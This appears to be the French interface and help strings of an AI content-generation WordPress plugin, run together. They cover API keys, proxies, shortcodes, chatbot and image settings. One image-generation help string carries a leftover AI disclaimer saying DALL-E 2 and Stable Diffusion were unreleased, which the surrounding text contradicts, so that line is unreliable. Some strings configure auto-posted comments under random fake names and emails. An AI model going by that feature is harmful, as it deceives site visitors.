aléatoire sera sélectionné à chaque exécution. Cela définira la valeur du shortcode %%topic%%, qui peut être utilisé dans les Prompts ci-dessous. Vous pourrez également utiliser les codes courts personnalisés définis dans la fonction "Créateur de codes courts personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Si vous définissez une liste de sujets de messages ici, les titres que vous avez saisis dans le champ de configuration "Liste des titres des postes" ne seront pas pris en compte et les titres seront générés automatiquement en fonction de ce sujet ! Veillez à modifier les paramètres du champ "Titre Prompt" ci-dessous pour changer la façon dont les titres seront créés ! Entrez une liste de sujets de messages, un sur chaque ligne. Si vous laissez ce champ vide, les titres saisis dans le champ "Liste des titres des postes" seront utilisés. Si vous entrez une valeur dans ce champ, de nouveaux titres seront créés, basés sur ce sujet, et les valeurs de la "Liste des titres de messages" seront écrasées. Si vous saisissez plusieurs thèmes (un par ligne), un thème aléatoire sera sélectionné à chaque exécution. Cela définira la valeur du shortcode %%topic%%, qui peut être utilisé dans les Prompts ci-dessous. Vous pourrez également utiliser les codes courts personnalisés définis dans la fonction "Créateur de codes courts personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Si vous souhaitez créer un contenu long (plus de 10000 mots) dans un seul article et que vous obtenez des résultats indésirables, vous pouvez cocher cette case pour y remédier.Si vous voulez programmer l'événement cron manuellement dans votre serveur, pour permettre l'édition récurrente de messages existants sur votre site, vous devez programmer cette adresse :Si vous souhaitez utiliser SerpAPI pour obtenir les rubriques connexes des articles créés, vous devez ajouter votre clé API ici. Par défaut, le plugin scrape Bing Search pour les requêtes connexes. Obtenez votre clé API ici.Si vous souhaitez utiliser ValueSERP pour obtenir les titres connexes des articles créés, vous devez ajouter votre clé API ici. Par défaut, le plugin scrape Bing Search pour les requêtes connexes. Obtenez votre clé API ici.Si vous souhaitez utiliser un proxy pour explorer des pages web et qu'il nécessite une authentification, entrez ici ses informations d'authentification. Format requis : nom d'utilisateur:mot de passe. Vous pouvez saisir une liste d'utilisateurs/mots de passe séparés par des virgules. Si un proxy n'a pas d'utilisateur/mot de passe, laissez-le vide dans la liste. Exemple : user1:pass1,user2:pass2,,user4:pass4.Si vous souhaitez utiliser un proxy pour explorer des pages web, indiquez son adresse ici. Format requis : Adresse IP/URL:port. Vous pouvez saisir une liste de mandataires séparés par des virgules.Si vous souhaitez utiliser vos propres compléments d'invite, et non les valeurs par défaut mentionnées précédemment, veillez à ajouter dans le menu "Paramètres principaux" du plugin -> "Suffix For Fine-Tuning Prompts" et "Suffix For Fine-Tuning Complétions" les valeurs des suffixes de Promptet de complétion que vous avez utilisées lors de la formation (ceci est facultatif, les valeurs par défaut seront utilisées dans le cas contraire).Si vous souhaitez utiliser DeepL pour la traduction, vous devez d'abord entrer une "clé d'authentification" DeepL. Vous pouvez en obtenir une ici. Si vous saisissez une valeur ici, de nouvelles options seront disponibles dans les champs "Traduire automatiquement le contenu vers" et "Langue source".Si vous souhaitez utiliser Microsoft pour la traduction, vous devez d'abord entrer une "clé d'accès" Microsoft. Pour savoir comment l'obtenir, cliquez ici. Si vous saisissez une valeur ici, de nouvelles options seront disponibles dans les champs "Traduire automatiquement le contenu vers" et "Langue source".Si vous souhaitez utiliser la version officielle de l'API Google Translator pour la traduction, vous devez d'abord saisir une clé API Google. Obtenez-en une ici. Activez l'API "Cloud Translation" dans la Google Cloud Console. La traduction fonctionnera même sans saisir de clé API ici, mais dans ce cas, une API Google Translate non officielle sera utilisée.Si vous êtes un utilisateur de Cloudflare et que vous êtes confronté à des ralentissements dans votre flux de travail de création de contenu, une solution potentielle pourrait être de prolonger le délai de connexion sur Cloudflare (si cela est possible dans votre cas). Une autre approche pourrait consister à désactiver CloudFlare lorsque vous utilisez le plugin Aiomatic sur votre site pour la création de contenu de longue durée (qui utilise plusieurs requêtes API).Si vous souhaitez modifier des articles existants ou nouvellement publiés, Aiomatic propose également des éditeurs de contenu IA et des images vedettes générées par l'IA pour rationaliser le processus. Et grâce à des fonctionnalités avancées telles que l'affinage du modèle d'IA, l'intégration de l'IA et les statistiques d'utilisation, vous pouvez faire passer votre création de contenu au niveau supérieur et produire des articles de haute qualité et attrayants en un rien de temps.Si votre problème est plus technique, créez un ticket et demandez de l'aide surSi votre modèle prend en charge les "Post Formats", vous pouvez en sélectionner un ici. Sinon, laissez la valeur par défaut.Si votre modèle prend en charge les "Post Formats", vous pouvez en sélectionner un ici. Sinon, laissez la valeur par défaut.IgboIgbo (Google Traduction)IllustrationIlocanoIlocano (Google Traduction)ImageCatégorie d’image : Génération d'images à l'aide de DALL-E 2 et de la diffusion stableOptions du générateur d'imagesLargeur maximale de l'image : Hauteur minimale de l’image : Largeur minimale de l'image : Modèle d'image :Orientation de l’image : Types d'images à rechercher :Types d'images à rechercher : La génération d'images est une fonction qui permet à l'IA de générer des images à partir de Prompts. En règle générale, vous saisissez une invite textuelle et l'IA génère une image qui représente cette invite. Cette fonction peut être utilisée à des fins créatives, par exemple pour créer des œuvres d'art ou visualiser des concepts. Veuillez noter que lors de ma dernière mise à jour en septembre 2021, DALL-E 2 et Stable Diffusion n'avaient pas été publiés ou annoncés, et que je ne peux donc pas fournir de détails spécifiques sur ces technologies.Importer un contenu ou un extraitImporter des formulaires par défautImporter des formulaires à partir d'un fichierL’importation est en cours d’exécutionAméliorer la précision des images vedettes libres de droits grâce à ce service :En coursDans WordPress, les taxonomies sont utilisées pour classer et organiser le contenu. Elles permettent de regrouper des articles, des pages ou des types d'articles personnalisés en fonction de caractéristiques communes. Les taxonomies peuvent être hiérarchiques (comme les catégories) ou non hiérarchiques (comme les tags). Lors de la création de taxonomies dans WP, il est important de définir des descriptions à des fins de référencement.En plus des puissantes fonctionnalités de base, Aiomatic possède quelques joyaux cachés qui permettront à votre site Web d'atteindre un niveau supérieur. Explorons ces fonctionnalités passionnantes et voyons comment elles peuvent dynamiser votre site.Si vous souhaitez vous inspirer de la manière de créer vos propres formulaires ou si vous voulez commencer rapidement à utiliser la fonctionnalité IA Forms du plugin, vous pouvez importer les formulaires par défaut qui sont fournis avec ce plugin. Pour ce faire, allez dans l'onglet "IA Forms Importer/Exporter" et cliquez sur le bouton "Importer les formulaires par défaut".Dans l'onglet "Paramètres avancés de l'API d'IA", vous pouvez modifier les paramètres avancés du modèle d'IA, qui seront utilisés lors de l'édition du contenu. Il peut s'agir d'éléments tels que la complexité de la langue utilisée, le ton du contenu, etc.Dans l'onglet "Modèles et options d'édition", vous pouvez définir comment éditer les articles. Voici les options disponibles :Dans l'onglet "Paramètres d'édition manuelle du contenu", vous pouvez définir les conditions d'édition manuelle des messages. Cette fonction est utile pour modifier des articles existants. Vous pouvez définir des filtres détaillés sur les articles/pages/types d'articles personnalisés à éditer automatiquement.Dans la page de configuration d'Aiomatic, accédez au menu "AI Chatbot" du plugin. Vous pourrez personnaliser le chatbot dans les onglets "Chatbot Customization", "Chatbot Default Styling", "Chatbot Settings" et "Default API Parameters". Vous pouvez y définir la manière dont le chatbot réagira à certaines entrées de l'utilisateur. Vous pouvez également modifier le style visuel et l'apparence du chatbot. N'oubliez pas de toujours sauvegarder vos modifications.Dans ce cas, le plugin ajoutera automatiquement les suffixes du Pompt et de complétion définis dans le menu 'Paramètres principaux' du plugin. Les valeurs par défaut sont ' ->' (sans les guillemets) comme suffixe d'invite, ' ###' (sans les guillemets) comme suffixe d'achèvement et les achèvements commencent par un espace (ceci est requis par OpenAI).Dans ce tutoriel, je vais vous expliquer comment mettre en place un chatbot doté d'une intelligence artificielle sur votre site web WordPress en utilisant le plugin WordPress Aiomatic. Ce plugin vous permet d'intégrer des modèles de langage d'IA pour créer un chatbot hautement personnalisable qui peut interagir avec les visiteurs de votre site web.Dans ce tutoriel, nous allons vous guider à travers chaque étape de la configuration et de l'utilisation de cette fonctionnalité, depuis l'installation et l'activation du plugin, la configuration des paramètres d'édition automatique et manuelle, la définition de vos modèles et options d'édition et, enfin, l'ajustement des paramètres avancés de l'API d'IA pour le processus d'édition. À la fin de ce guide, vous serez en mesure d'exploiter la puissance de l'IA pour rationaliser votre processus de création de contenu et améliorer la qualité de vos articles. C'est parti !Dans cette vidéo, je vais examiner de plus près le fonctionnement de la dernière mise à jour d'Aiomatic et ce qu'elle peut vous apporter. Je vais voir comment vous pouvez facilement publier des textes générés par l'IA sur vos canaux de médias sociaux, ce qui vous permet d'économiser du temps et des efforts tout en maintenant l'intérêt de vos followers.IndeIndonésienIndonésien (Google Traduction)IndustrieInfoInfo :Injectez du chatbot globalement sur votre site :Couleur de bordure d’entrée :Nombre de champs saisieChamps de saisieSaisissez une liste séparée par des virgules des langues préférées pour les sous-titres vidéo à utiliser pour le shortcode %%video_caption%%. Veuillez utiliser une liste de codes de langue à 2 caractères séparés par des virgules. Ex : en,es,hu,br. Le plugin utilisera la première langue de la liste qui correspond. Si vous laissez ce champ vide, la langue de légende par défaut sera importée pour chaque vidéo.Entrez une liste d'URLs que le plugin utilisera lors de la soumission de commentaires. Une par ligne. Les shortcodes possibles qui peuvent être utilisés ici : %%post_link%%, %%random_sentence%%, %%random_sentence2%%Entrez une liste d'e-mails que le plugin utilisera lors de la soumission de commentaires. Un par ligne. Si vous laissez ce champ vide, un e-mail aléatoire sera généré. Les shortcodes possibles peuvent être utilisés ici : %%random_sentence%%, %%random_sentence2%%Entrez une liste de noms d'utilisateurs que le plugin utilisera pour soumettre des commentaires. Un par ligne. Si vous laissez ce champ vide, un nom aléatoire sera généré. Les shortcodes possibles peuvent être utilisés ici : %%random_user%%, %%author_name%%, %%random_sentence%%, %%random_sentence2%%Saisie d'un mot secretSaisissez une adresse e-mail valideDélai de demande d’entréeDélai en seconds d’expiration de la règleSaisir l'URL à ajouterSaisissez l’adresse e-mail à laquelle vous souhaitez envoyer le rapport. Vous pouvez saisir d’autres adresses e-mail, séparées par des virgules.Saisissez le mot-clé à remplacer. Ce champ est obligatoireEntrer le mot de remplacementSaisissez les balises pour lesquelles vous souhaitez désactiver l'édition. Vous pouvez saisir plusieurs balises, séparées par une virgule. Ex : voitures, véhicules, rouge, luxe. Pour désactiver cette fonctionnalité, laissez ce champ vide.Authentification du proxy WebURL du proxy WebSaisissez votre clé API dans le champ "OpenAI / AiomaticAPI API Keys (One Per Line)" et cliquez sur le bouton "Sauve".Saisissez les titres de vos articles (un par ligne), un fichier TXT avec les titres (un par ligne) ou une URL de flux RSS. Le plugin sélectionnera un titre d'article au hasard à chaque exécution. Les spintax imbriqués sont pris en charge. Vous pouvez également entrer des URL de flux RSS, à partir desquels le plugin extraira un titre d'article aléatoire, à chaque exécution. Si vous définissez une URL de flux RSS, un article sera sélectionné au hasard à partir du titre/de la description/du contenu du flux RSS - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Insérez une liste de liens, séparés par des virgules, vers des images valides qui seront choisies de manière aléatoire comme image vedette pour les articles qui n'ont pas d'image valide attachée ou si vous avez désactivé le générateur automatique d'images vedettes. Vous pouvez également utiliser les identifiants numériques des images trouvées dans la galerie de médias. Pour désactiver cette fonctionnalité, laissez ce champ vide. Prise en charge de Spintax. Vous pouvez également utiliser le shortcode %%random_image[keyword]%% pour importer automatiquement une image aléatoire à partir de Google Image Search en appliquant le filtre Creative Commons. Pour obtenir une image apparentée, vous pouvez également utiliser le shortcode %%random_image[[mot-clé]%%] : %%random_image[%%post_title%%]%%Insérez un code HTML personnalisé qui remplacera la variable %%custom_html%%. Il peut s'agir de n'importe quoi, même d'un code publicitaire.Insérez un code HTML personnalisé qui remplacera la variable %%custom_html2%%. Il peut s'agir de n'importe quoi, même d'un code publicitaire.Insérez quelques phrases dont vous voulez tirer une au hasard. Vous pouvez également utiliser les variables définies ci-dessous. %something ==> est une variable. Chaque phrase doit être séparée par une nouvelle ligne.Insérez les variables que vous souhaitez remplacer pour différentes instances d'une phrase. Veuillez formater cette liste comme suit :
                    NomDeVariable => Variables (séparées par un point-virgule)
                    Exemple :
                    adjectif => intelligent;intéressant;astucieux;énorme;étonnant;incroyable;agréable;adorable;beau;élégant;fantaisiste;glamour;magnifique;utile;impressionnant
                    Insérez vos clés API (une par ligne). Pour OpenAI API, obtenez votre clé API ici. Pour AiomaticAPI, obtenez votre clé API ici. Pour Azure, obtenez votre clé API ici.Insérez votre identifiant associé à Amazon (facultatif). Apprenez à l'obtenir ici. Vous devez également vous inscrire au programme d'affiliation Amazon ici. Veuillez noter qu'à partir de 2019, Amazon exige que votre compte génère au moins 1 vente au cours des 30 derniers jours, avant d'autoriser l'accès à l'Amazon Product API. Pour plus de détails, veuillez consulter ce lienInsérez votre point de terminaison Azure OpenAI API. Obtenez-en un dans le panneau Microsoft Azure Services.Insérez votre clé API D-ID. Pour l'API D-ID, obtenez votre clé API ici. Cette clé est utilisée pour la fonction de conversion de texte en vidéo du Chatbot.Insérez votre clé API ElevenLabs. Pour l'API ElevenLabs, obtenez votre clé API ici. Cette clé est utilisée pour la fonction text to speech (synthèse vocale) du Chatbot.Insérez votre ID d'application Flickr. Pour savoir comment obtenir une clé API, cliquez ici. Si vous entrez une clé API et un secret API, vous pourrez rechercher des images à l'aide de l'API Flickr.Insérez votre clé API Google Text-to-Speech. Pour l'API de Google, obtenez votre clé API ici. Cette clé est utilisée pour la fonction text to speech (synthèse vocale) du Chatbot.Insérez votre ID d'application Pexels. Apprenez comment obtenir une clé API ici. Si vous entrez une clé API et un secret API, vous pourrez rechercher des images à l'aide de l'API Pexels.Insérez votre clé API Pinecone. Pour l'API Pinecone, obtenez votre clé API ici.Insérez votre OD Pixabay. Apprenez à l'obtenir ici. Si vous entrez une clé API ici, vous pourrez rechercher des images en utilisant l'API Pixabay.Insérez vos clés API Stability.IA (une par ligne). Pour l'API Stability.IA, obtenez votre clé Stability.IA ici.Insérez votre clé API TextRazor. Apprenez comment en obtenir un ici. Ceci est utilisé lors de l’extraction de mots-clés pertinents à partir de textes plus longs. L’ajout d’une clé API ici peut grandement améliorer la précision de l’image libre de droits.Insérez votre clé API YouTube. Pour savoir comment l'obtenir, cliquez ici. Cette clé est utilisée lors de l'ajout de vidéos YouTube au contenu de votre message. Vous pouvez également saisir une liste de plusieurs clés API séparées par des virgules. Cette option est facultative. La fonction Vidéos associées fonctionnera également sans clé API.Insérez votre mot de passe pour le service premium spinner service.Insérez votre nom d'utilisateur dans le service premium spinner.InstalléInstruction pour l'éditeur IA, pour modifier le contenu de l'article. Veuillez spécifier votre instruction sans ajouter le shortcode %%post_content%%, car le contenu sera automatiquement ajouté au moment du traitement. Les shortcodes imbriqués d'autres plugins sont également pris en charge ici. Vous pouvez également utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser les champs personnalisés (post meta) qui sont assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Instruction pour l'éditeur IA, pour éditer l'extrait de l'article. Veuillez spécifier votre instruction sans ajouter le shortcode %%post_excerpt%%, car l'extrait sera automatiquement ajouté au moment du traitement. Les shortcodes imbriqués d'autres plugins sont également pris en charge ici. Vous pouvez également utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser les champs personnalisés (post meta) qui sont assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Instruction pour l'éditeur IA, pour modifier le titre de l'article. Veuillez spécifier votre instruction sans ajouter le shortcode %%post_title%%, car le contenu sera automatiquement ajouté au moment du traitement.Les shortcodes imbriqués d'autres plugins sont également pris en charge ici. Vous pouvez également utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser les champs personnalisés (post meta) qui sont assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Instructions à envoyer à l'éditeur IA (rédaction de contenu) :Instructions à envoyer à l'éditeur IA (rédaction d'extraits) :Instructions à envoyer à l'éditeur IA (édition de titres) :Intégration avec "Ultimate Membership ProSystème de réponse vocale interactif (SVI)Intérêt AscendantIntérêt DescendantLiens internesParamètres de l'extracteur de mots clés des Liens internes :IrlandaisIrlandais (Google Traduction)CRON est-il en cours d'exécutionItalienItalien (Google Traduction)ItaliqueItalieID de l’article :Nom de l'article :Type d’articleType d'élément :JaponJaponaisJaponais (Google Traduction)JavanaisJavanais (Google Traduction)Téléchargez simplement le plugin de CodeCanyon et installez-le sur votre site en quelques secondes.K_DPMPP_2MK_DPMPP_2S_ANCESTRALK_DPM_2K_DPM_2_ANCESTRALK_EULERK_EULER_ANCESTRALK_HEUNK_LMSCanadaKannada (Google Traduction)KazakhKazakh (Google Traduction)Modèle d'extracteur de mots-clés (optionnel) :Extracteur de mots clés pour Prompt (facultatif) :Remplacement de mots-cléKhmerKhmer (Google Traduction)KinyarwandaKinyarwanda (Google Traduction)KonkaniKonkani (Google Traduction)CoréenCoréen (Google Traduction)KrioKrio (Google Traduction)Kronos Cron 10 MinuteKronos Cron Demi heureKronos Cron Quart d'heureKurdeKurde (Google Traduction)Kurde - SoraniKurde - Sorani (Google Traduction)KyrgyzKirghize (Google Traduction)Étiquette*LangueLangue :LaosLaotien (Google Traduction)Dernière pageDernière exécution : DernierDernières actualitésLatinLatin (Google Traduction)LettonLetton (Google Traduction)Apprendre à décrire l'objectif de l'imageEn savoir plusLaisser vide si l’image est purement décorative.GaucheSupposons que vous souhaitiez donner à votre IA la capacité de répondre à des questions spécifiques sur le contenu de votre site web, votre entreprise, votre produit ou tout autre sujet, mais que vous ne souhaitiez pas passer par le processus de formation de votre propre modèle d'IA. Dans ce cas, la fonction Embeddings est ce dont vous avez besoin. Il vous suffit de spécifier vos déclarations dans la section Embeddings du plugin et elles seront également envoyées au rédacteur de contenu de l'IA, si nécessaire.Supposons que vous souhaitiez entraîner votre IA à répondre à des questions spécifiques sur le contenu de votre site web, votre entreprise, votre produit ou tout autre sujet. Vous pouvez y parvenir en affinant un modèle à l'aide de vos propres données ! Attention, ce processus demande beaucoup d'efforts. La préparation de données de haute qualité est la clé. Et vous devez effectuer de nombreux tests pour obtenir les meilleurs résultats !Type de licence :Limites & StatistiquesTutoriel vidéo sur les limites et les statistiquesLimites non disponiblesLingalaLingala (Google Traduction)LienLien à ajouterListe des formulaires IAListe des variables possibles :LituanienLituanien (Google Traduction)Charger à partir d'un fichierExtensions PHP chargéesChargement de l'éditeur...Heure locale : Journal videLugandaLuganda (Google Traduction)LuxembourgeoisLuxembourgeois (Google Traduction)MacédoineMacédonien (Google Traduction)Paramètres principauxInterrupteur principal :MaintenanceMaithiliMaithili (Google Traduction)MalgacheMalgache (Google Traduction)MalayMalais (Google Traduction)MalayâlamMalayalam (Google Traduction)MaltaisMaltais (Google Traduction)GérerEn-têtes manuels et liste d’imagesLiens manuelleListe manuelle des titresListe manuelle des titres :Liste manuelle des imagesListe manuelle des images :Liste d'URL à ajouter manuellement (une par ligne)Liste d'URL à ajouter manuellement (une par ligne) :Exécuter manuellement l'édition de l'IA pour ce posteExécuter manuellement le post-traitement maintenant :MaoriMaori (Google Traduction)MarathiMarathi (Google Traduction)Faites également correspondre les mots partiels :MaxMax #Max Crédits d'invités :Longueur maximale de l’entrée (caractères) :Nombre maximum de produits à inclureNombre maximum de produits à inclure :Prix maximum en centimesPrix maximum en centimes :Nombre maximal de jetonsNombre maximal de jetonsCrédits utilisateurs maximumsNombre maximal de crédits d’utilisateur :Taille maximale du bloc de caractères à envoyer à l'éditeur IA (facultatif) :Nombre maximal de jetons à utiliser par demande d’APINombre maximal de jetons à utiliser par demande d’API :Crédits maximums pour les invitésCrédits maximums pour les utilisateursNombre maximum de liens à ajouter automatiquement au contenu de l'articleNombre maximum de liens à ajouter automatiquement au contenu de l'article :Nombre maximum de catégories à ajouter à l'article :Nombre maximum de commentaires à ajouter à l'article :Nombre maximum de Articles à traiter :Nombre maximum de rubriques connexes à ajouter au contenuNombre maximum de rubriques connexes à ajouter au contenu :Nombre maximum d'images connexes à ajouter au contenuNombre maximum d'images connexes à ajouter au contenu :Nombre maximum de balises/Tags à ajouter à l'article :Nombre maximal de postes à modifier :Nombre maximal de jetons du Prompt à utiliser par demande d’APINombre maximum de jetons du Prompt à utiliser par demande d'API :Nombre maximal de remplacementsNombre maximum de jetons de résultat à utiliser par requête API :Nombre maximal de jetons à utiliser par demande d'APINombre maximal de jetons à utiliser par demande d'API :Temps d’exécution maximumHauteur maximale de l'image.Largeur maximale de l'image.Nombre maximum de catégories à ajouter. Vous pouvez également utiliser des fourchettes de valeurs, comme par exemple : 3-5. La valeur par défaut est 1-2Nombre maximum de commentaires à ajouter au shortcode %%previous_comments%%, La valeur par défaut est 5Nombre maximum de commentaires à ajouter. Vous pouvez également utiliser des fourchettes de valeurs, comme par exemple : 3-5. La valeur par défaut est 1-2Nombre maximum de balises/Tags à ajouter. Vous pouvez également utiliser des plages de valeurs, comme par exemple : 3-5. La valeur par défaut est 1-2Taille maximale du fichier mis en ligneTaille maximale du fichier :Extensions de la bibliothèque multimédiaVidéos tutorielles sur les extensions de la bibliothèque multimédia :MeiteilonMeiteilon (Google Traduction)Ordre du menuNom du menuMessage lorsque la limite est atteinte (utilisateurs connectés) :Message lorsque la limite est atteinte (utilisateurs non connectés) :Message lorsque la limite est atteinte (Restrictions basées sur des règles - Global) :Nom de la clé méta :Valeur de la clé méta :Valeur de metaNuméro de valeur métaMexiqueMicrosoft AzureClé d'accès à Microsoft Translator (optionnel)Code régional de Microsoft Translator (facultatif)MinPrix minimum en centimesPrix minimum en centimes :Largeur minimale de l'image.Liens mixtes Internes & ExternesMizoMizo (Google Traduction)ModeMode : Le mode dans lequel la demande a été faite.ModèleModèle de baseModèle d'extraction de mots-clés pour les images libres de droits :Paramètres du modèleModèle:Modèle : Le modèle d'IA utilisé pour la demande.ModifiéModifier du Prompt pour le rédacteur IA à l'aide des résultats de la recherche sur Internet :Modifiez le Prompt pour le rédacteur IA, en utilisant le modèle ci-dessous, en ajoutant également des informations extraites de l'internet. Vous pouvez utiliser les shortcodes suivants : %%original_query%% (pour ajouter la requête de recherche originale), %%current_date%% (pour ajouter la date actuelle), %%web_results%% (pour ajouter les résultats de la requête de recherche).Modifiez le modèle du shortcode %%web_results%%. Vous pourrez utiliser les shortcodes suivants : %%result_counter%% (pour ajouter l'index du résultat courant), %%result_title%% (pour ajouter le titre du résultat courant), %%result_snippet%% (pour ajouter le snippet du résultat courant), %%result_link%% (pour ajouter l'URL du résultat courant). La valeur par défaut de ce champ est : [%%result_counter%%] : %%result_title%% %%result_snippet%% URL : %%result_link%%MongolMongol (Google Traduction)MoisRequête mensuelle :Plus de détailsPlus de fonctionnalitésPlus d'infosPlus d’optionsPlus d'options d'images libres de droits :Plus de paramètresParamètres du modèle :Plus d'informations surEn savoir plus sur le réglage finInformations avancées et plus détaillées sur le système.Plus de détails sur Embeddings, consultez Plus de détails sur le réglage fin, vérifier En savoir plusPlus d'informations surPlus d’informations sur %sDéplacer tous les messages vers la corbeilleMusiqueCodage du client MySQLVersion détaillée de MySQLVersion MySQLVersion MySQL:AUCUNNatureAccédez à l'onglet "Clés API" en haut de cette page d'administration.Accédez à la section "Limites et statistiques" du plugin Aiomatic.Besoin d'aide pour configurer ce plugin ? Consultez son tutoriel vidéo.Besoin d’aide ?NépalaisNépalais (Google Traduction)Les shortcodes imbriqués sont également pris en charge !Pays-BasNouveau nom pour la source d’articlesNouveaux Articles créésNouvelle règleNouveau ! Vous pouvez utiliser le shortcode [aicontent]Your Prompt[/aicontent] dans cette page ou dans d'autresDerniers arrivésSuivantPage suivanteProchaine exécution : NonAucun changementAucun changement - Aucun nouveau message crééAucune source d’articles trouvée.Pas de sources d'images libres de droits activéesPas d'information.Aucune restriction connue en matière de droits d’auteurPas de limiteAucun message de chat persistant n'a été trouvé. Vous pouvez activer cette fonctionnalité si vous utilisez le shortcode suivant pour ajouter un chat IA persistant à votre page : [aiomatic-chat-form persistent="on"]Aucune règle n’est en cours d’exécution pour le momentAucunNorvegienNorvégienNorvégien (Google Traduction)Non installéUtilisateurs non inscritsNon disponibleNote 1 : N'oubliez pas de sécuriser votre clé API d'OpenAI (ne la partagez avec personne).Note 2 : Si vous utilisez Cloudflare, veuillez lire ce qui suit.Note 3 : Si vous utilisez le plugin de mise en cache WP Rocket, veuillez désactiver et réactiver votre plugin de mise en cache.Note 4 : Si votre serveur a une limite de temps (max_execution_time server settings limited), il se peut que vous ne puissiez pas générer un contenu plus long. Veuillez demander à votre hébergeur d'étendre la limite de temps d'exécution du serveur à au moins 10-15 minutes afin de pouvoir générer des contenus plus longs.Note 5 : Si vous utilisez iThemes security, assurez-vous d'autoriser les appels PHP depuis le dossier du plugin, sinon certaines fonctionnalités du plugin pourraient ne pas fonctionner.Note : L'ajout des Azure OpenAI Deployments que vous avez créés n'est plus nécessaire, car le plugin est maintenant capable de détecter automatiquement les déploiements à partir de votre compte Azure.Rien à sauver !Paramètres de notification :Maintenant, amusez-vous à utiliser le plugin !Vous êtes maintenant prêt à voir le plugin en action ! Vous pouvez passer votre souris sur le menu Aiomatic dans votre tableau de bord WordPress. À partir de là, vous pouvez choisir de générer un seul article IA ou de créer un grand nombre d'articles IA automatiques, avec un contenu HTML riche et des images libres de droits ou générées par l'IA. Vous pouvez également modifier des articles existants ou nouvellement publiés à l'aide d'un éditeur de contenu IA. Si vous êtes un utilisateur avancé ou si vous souhaitez apprendre comment tirer le meilleur parti du plugin et de l'IA en général, consultez les fonctionnalités Embeddings et Model Training du plugin. Enfin, vous pouvez consulter les graphiques d'utilisation du plugin et définir des limites pour l'utilisation de son API (si vous le jugez nécessaire).NombreNombre de sections de contenu à générerNombre de sections de contenu à générer :Nombre de paragraphes par sectionNombre de paragraphes par section :Nombre de résultats pour la requête :Nombre de résultats de recherche à ajouter (dans le %%web_results%% shortcode) :Nombre compris entre -2,0 et 2,0. Les valeurs positives pénalisent les nouveaux jetons en fonction de leur fréquence existante dans le texte jusqu’à présent, ce qui diminue la probabilité que le modèle répète la même ligne mot pour mot.Nombre compris entre -2,0 et 2,0. Les valeurs positives pénalisent les nouveaux jetons en fonction de leur apparition ou non dans le texte jusqu’à présent, ce qui augmente la probabilité que le modèle parle de nouveaux sujets.Nombre d'images à ajouter à l'articleNombre d'images à ajouter à l'article :Nombre de vidéos YouTube à ajouter à l’articleNombre de vidéos YouTube à ajouter à l’article :Nombre de sections créées :Nombre d'étapes de diffusion à exécuter. La valeur par défaut est 50.Nombre de paragraphes par section :ObjetOdiaOdia (Google Traduction)DésactivéUne fois toutes les 10 minutesUne fois toutes les 15 minutesUne fois toutes les 30 minutesUne fois par minuteUne fois par moisUne fois par semaineUne fois par jourUne fois par moisUne fois par semaineUne fois par heureSeuls les incidents survenus il y a moins d'une semaine sont affichés ici.OpenAI / AiomaticAPIStatut de l'OpenAILa tarification d'OpenAIOpenAI/AiomaticAPISystème d'exploitationOptimiser le shortcode %%post_content%% à l'aide de l'IA :OptionsRésultats de l’ordre par :Ordre des Résultats :Classez les résultats selon une règle prédéfinie.ID de l'organisationOromoOromo (Google Traduction)Autres clés API :Ecraser l’habillage existantPHP Curl :Classe PHP DateTime :PHP Max Input VarsPHP Max Input Vars (optionnel) :Taille maximale de téléchargement PHPPHP Mémoire limite :Taille maximale d’envoi PHPTaille maximale d’envoi PHP :Limite d’exécution PHPLimite d’exécution PHP:Version PHPVersion PHP :PageID de la page :Nom de la page :PagesParagrapheParentPachtounePashto (Google Traduction)En attenteEn attente -> ModéréPersonnesSupprimer définitivement tous les ArticlesPersePersan (Google Traduction)Logs de discussion persistantsChat persistant :Options de l'API Pexels :Pexels App ID :PhotoLicence photo : Paramètres de l'API Pinecone :Index Pinecone :Pinecone.ioOptions API Pixabay :ID de l’application Pixabay :Pixabay Options d'extraction directe :LieuxTexte brutHauteur maximale du lecteur (pixels) :Largeur maximale du lecteur (pixels) :Terrains de jeuxVeuillez modifier les paramètres des règles, car vos titres 